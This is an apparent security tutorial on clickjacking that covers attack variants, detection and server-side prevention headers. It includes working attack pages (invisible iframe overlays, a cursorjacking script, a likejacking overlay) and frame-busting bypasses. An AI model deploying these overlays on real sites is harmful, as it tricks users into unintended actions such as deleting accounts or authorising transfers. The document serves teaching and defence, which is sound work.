01 //Introduction
Clickjacking, also known as UI redressing, is a malicious technique where an attacker tricks users into clicking on something different from what they perceive. By overlaying invisible or disguised elements over legitimate web pages, attackers can hijack user clicks to perform unintended actions.
This attack exploits the ability to embed web pages within iframes and manipulate their visual presentation. When successful, victims unknowingly perform actions like transferring money, changing account settings, enabling webcams, or granting OAuth permissions—all while thinking they are interacting with a harmless page.
A legitimate-looking page with a friendly “Claim Prize” button.
The click lands on the invisible iframe's sensitive button on bank.com.
Clickjacking doesn't require exploiting traditional vulnerabilities like XSS or SQL injection. It abuses the browser's legitimate feature of embedding content via iframes. Any page that can be framed and has sensitive click actions is potentially vulnerable.
02 //Real-World Scenario
Imagine a social media site with a "Delete Account" button. A malicious site could embed this page in an invisible iframe, positioning the delete button exactly under a "Play Game" button. When users click to play, they actually delete their account.
1<!DOCTYPE html>
2<html>
3<head>
4 <title>Free Game - Click to Play!</title>
5 <style>
6 .container {
7 position: relative;
8 width: 500px;
9 height: 300px;
10 }
11
12 /* Invisible iframe containing target site */
13 .target-iframe {
14 position: absolute;
15 top: 0;
16 left: 0;
17 width: 500px;
18 height: 300px;
19 opacity: 0.0001; /* Nearly invisible but still clickable */
20 z-index: 2; /* On top to receive clicks */
21 border: none;
22 }
23
24 /* Decoy content that user sees */
25 .decoy {
26 position: absolute;
27 top: 0;
28 left: 0;
29 width: 500px;
30 height: 300px;
31 z-index: 1;
32 display: flex;
33 flex-direction: column;
34 align-items: center;
35 justify-content: center;
36 color: white;
37 }
38
39 .play-button {
40 margin-top: 100px;
41 padding: 15px 40px;
42 background: #4CAF50;
43 border: none;
44 color: white;
45 }
46 </style>
47</head>
48<body>
49 <div class="container">
50 <iframe class="target-iframe" src="https://social-media.com/settings/account"></iframe>
51 <div class="decoy">
52 <h1>Free Game!</h1>
53 <button class="play-button">PLAY NOW</button>
54 </div>
55 </div>
56</body>
57</html>What makes clickjacking different from phishing?
03 //How Clickjacking Works
Clickjacking relies on the CSS properties that control element visibility, positioning, and stacking. The attacker creates layers where the target page is invisible but positioned to receive user clicks.
Key CSS Properties Used in Clickjacking
| Property | Purpose | Attack Usage |
|---|---|---|
| opacity | Controls element transparency | Set to near-zero (0.0001) to hide iframe |
| z-index | Controls stacking order | Place iframe above decoy content |
| position: absolute | Removes from normal flow | Precise positioning of layers |
| pointer-events | Controls click behavior | Ensure clicks pass through to iframe |
| iframe seamless | Removes iframe borders | Makes embedding less obvious |
1/* Layer 1: The target iframe (receives clicks) */
2.target-iframe {
3 position: absolute;
4 top: 0;
5 left: 0;
6 width: 100%;
7 height: 100%;
8
9 /* Make it invisible but clickable */
10 opacity: 0.0001; /* Not 0 - some browsers optimize away */
11
12 /* Ensure it's on top */
13 z-index: 9999;
14
15 /* Remove visual indicators */
16 border: none;
17
18 /* Some attacks adjust position to align buttons */
19 top: -50px;
20 left: -100px;
21}
22
23/* Layer 2: The decoy content (user sees this) */
24.decoy-content {
25 position: absolute;
26 top: 0;
27 left: 0;
28 z-index: 1;
29 padding: 20px;
30}
31
32/* Alternative: Use pointer-events for more control */
33.decoy-overlay {
34 pointer-events: none;
35}By default, any web page can be embedded in an iframe unless the target site explicitly prevents it. This is the fundamental browser behavior that clickjacking exploits. Modern defenses focus on allowing sites to opt-out of being framed.
Why do attackers use opacity: 0.0001 instead of opacity: 0?
04 //Attack Techniques
Clickjacking has evolved into several specialized attack variants, each targeting different user interactions.
Clickjacking Attack Variants
| Variant | Target | Description |
|---|---|---|
| Classic Clickjacking | Button clicks | Overlay invisible iframe over decoy button |
| Likejacking | Social media likes/shares | Trick users into liking attacker content |
| Cursorjacking | Mouse cursor | Display fake cursor offset from real position |
| Filejacking | File upload inputs | Trick users into uploading sensitive files |
| Cookiejacking | Cookie consent dialogs | Manipulate cookie preferences |
| Strokejacking | Keyboard input | Capture keystrokes in hidden frames |
1<!DOCTYPE html>
2<html>
3<head>
4 <style>
5 body { cursor: none; }
6
7 #fake-cursor {
8 position: fixed;
9 width: 20px;
10 height: 20px;
11 background: url('cursor.png') no-repeat;
12 pointer-events: none;
13 z-index: 10000;
14 }
15
16 #target {
17 position: fixed;
18 top: 100px;
19 left: 150px;
20 opacity: 0.0001;
21 z-index: 9999;
22 }
23 </style>
24</head>
25<body>
26 <div id="fake-cursor"></div>
27 <iframe id="target" src="https://target-site.com/sensitive-action"></iframe>
28
29 <script>
30 const fakeCursor = document.getElementById('fake-cursor');
31 document.addEventListener('mousemove', (e) => {
32 fakeCursor.style.left = (e.clientX - 150) + 'px';
33 fakeCursor.style.top = (e.clientY - 100) + 'px';
34 });
35 </script>
36</body>
37</html>1<!-- Likejacking: Trick users into liking attacker's Facebook page -->
2<div style="position: relative; width: 300px; height: 200px;">
3 <iframe
4 src="https://www.facebook.com/plugins/like.php?href=https://attacker-page.com"
5 style="
6 position: absolute;
7 opacity: 0.0001;
8 z-index: 2;
9 width: 100px;
10 height: 30px;
11 top: 85px;
12 left: 100px;
13 ">
14 </iframe>
15
16 <div style="position: absolute; z-index: 1; text-align: center; padding: 20px;">
17 <img src="cute-cat.jpg" width="200">
18 <p>Click to see more cute cats!</p>
19 <button style="padding: 10px 30px;">View More</button>
20 </div>
21</div>Advanced clickjacking can require multiple clicks from the victim. Attackers use games, surveys, or interactive content to get users to click in specific sequences, each click performing part of a multi-step sensitive action on the target site.
05 //Vulnerable Code Patterns
During code review, identify applications that lack frame protection. These patterns indicate potential clickjacking vulnerabilities:
1// VULNERABLE: No X-Frame-Options or CSP frame-ancestors
2const express = require('express');
3const app = express();
4
5app.get('/transfer', (req, res) => {
6 // This sensitive action page can be framed!
7 res.send(`
8 <h1>Transfer Funds</h1>
9 <form action="/do-transfer" method="POST">
10 <input type="hidden" name="amount" value="10000">
11 <input type="hidden" name="to" value="attacker-account">
12 <button type="submit">Confirm Transfer</button>
13 </form>
14 `);
15});
16
17// Compare to secure version
18app.get('/secure-transfer', (req, res) => {
19 res.setHeader('X-Frame-Options', 'DENY');
20 res.setHeader('Content-Security-Policy', "frame-ancestors 'none'");
21 res.send('...');
22});1// VULNERABLE: Easily bypassed frame busting
2if (window.top !== window.self) {
3 window.top.location = window.self.location;
4}
5
6// Problems with this approach:
7// 1. Can be blocked by sandbox attribute
8// 2. Can be blocked by onbeforeunload handler
9// 3. Doesn't work if attacker uses double framing
10
11// Attacker bypass:
12// <iframe src="https://target.com" sandbox="allow-scripts allow-forms"></iframe>
13
14// Or with onbeforeunload:
15// window.onbeforeunload = function() { return false; };1// VULNERABLE: Missing frame-ancestors in CSP
2app.use((req, res, next) => {
3 res.setHeader('Content-Security-Policy',
4 "default-src 'self'; script-src 'self'"
5 );
6 next();
7});
8
9// SECURE: Include frame-ancestors
10app.use((req, res, next) => {
11 res.setHeader('Content-Security-Policy',
12 "default-src 'self'; script-src 'self'; frame-ancestors 'none'"
13 );
14 next();
15});
16
17// VULNERABLE: X-Frame-Options only set on some routes
18app.get('/sensitive', (req, res) => {
19 res.setHeader('X-Frame-Options', 'DENY');
20});
21
22// Other routes are still frameable!
23app.get('/settings', (req, res) => {
24 // No protection - can be clickjacked!
25});Vulnerable vs Secure Configurations
| Configuration | Status | Notes |
|---|---|---|
| No X-Frame-Options header | Vulnerable | Page can be framed by any site |
| X-Frame-Options: DENY | Secure | Cannot be framed at all |
| X-Frame-Options: SAMEORIGIN | Partial | Only same-origin can frame |
| X-Frame-Options: ALLOW-FROM url | Deprecated | Not supported in modern browsers |
| CSP frame-ancestors 'none' | Secure | Modern replacement for DENY |
| CSP frame-ancestors 'self' | Partial | Same-origin framing allowed |
06 //Detection Methods
Identifying clickjacking vulnerabilities during security testing requires checking for missing protections and testing if pages can be embedded.
1# Check for X-Frame-Options and CSP headers
2curl -I https://target.com/sensitive-page | grep -i "x-frame\|content-security"
3
4# Expected secure response:
5# X-Frame-Options: DENY
6# Content-Security-Policy: frame-ancestors 'none'
7
8# Or check multiple pages
9for page in /login /transfer /settings /admin; do
10 echo "Checking $page:"
11 curl -sI "https://target.com$page" | grep -i "x-frame\|frame-ancestors" || echo "NO PROTECTION!"
12done1<!DOCTYPE html>
2<html>
3<head>
4 <title>Clickjacking Vulnerability Test</title>
5</head>
6<body>
7 <h1>Clickjacking Vulnerability Test</h1>
8 <div id="result">Testing...</div>
9
10 <iframe
11 id="target-frame"
12 src="https://target-site.com/sensitive-page"
13 onload="checkVulnerable()"
14 onerror="checkProtected()">
15 </iframe>
16
17 <script>
18 function checkVulnerable() {
19 document.getElementById('result').innerHTML =
20 'VULNERABLE: Page can be framed!';
21 }
22
23 function checkProtected() {
24 document.getElementById('result').innerHTML =
25 'PROTECTED: Page refused to load in frame';
26 }
27 </script>
28</body>
29</html>Tools like Burp Suite, OWASP ZAP, and browser developer tools can automatically check for clickjacking vulnerabilities. Look for the "X-Frame-Options" and "Content-Security-Policy" headers in response headers.
A page returns X-Frame-Options: SAMEORIGIN. Is it vulnerable to clickjacking?
07 //Prevention Techniques
Preventing clickjacking requires server-side headers that instruct browsers not to allow framing. Client-side JavaScript protections are considered unreliable.
Defense Comparison
| Method | Effectiveness | Browser Support |
|---|---|---|
| CSP frame-ancestors 'none' | Highest | All modern browsers |
| X-Frame-Options: DENY | High | All browsers |
| X-Frame-Options: SAMEORIGIN | Medium | All browsers |
| Frame busting JavaScript | Low | Can be bypassed |
| SameSite cookies | Supplementary | Modern browsers |
1// Node.js/Express
2const express = require('express');
3const helmet = require('helmet');
4const app = express();
5
6// Using helmet for security headers
7app.use(helmet({
8 contentSecurityPolicy: {
9 directives: {
10 defaultSrc: ["'self'"],
11 frameAncestors: ["'none'"], // Prevent all framing
12 }
13 }
14}));
15
16// Or manually set CSP
17app.use((req, res, next) => {
18 res.setHeader('Content-Security-Policy', "frame-ancestors 'none'");
19 next();
20});
21
22// Allow specific origins to frame
23app.use((req, res, next) => {
24 res.setHeader('Content-Security-Policy',
25 "frame-ancestors 'self' https://trusted-partner.com"
26 );
27 next();
28});1# Python/Django
2# In settings.py
3X_FRAME_OPTIONS = 'DENY' # or 'SAMEORIGIN'
4
5MIDDLEWARE = [
6 'django.middleware.security.SecurityMiddleware',
7]
8
9# Python/Flask
10from flask import Flask
11
12app = Flask(__name__)
13
14@app.after_request
15def add_security_headers(response):
16 response.headers['X-Frame-Options'] = 'DENY'
17 response.headers['Content-Security-Policy'] = "frame-ancestors 'none'"
18 return response1# Nginx
2server {
3 add_header X-Frame-Options "DENY" always;
4 add_header Content-Security-Policy "frame-ancestors 'none'" always;
5}
6
7# Apache (.htaccess or httpd.conf)
8# Header always set X-Frame-Options "DENY"
9# Header always set Content-Security-Policy "frame-ancestors 'none'"• Use both X-Frame-Options AND CSP frame-ancestors for maximum compatibility
• Apply headers to ALL pages, not just sensitive ones
• Use 'none' (DENY) unless you have a specific need for framing
• Use SameSite cookies as additional defense-in-depth
• Avoid relying on JavaScript frame busting alone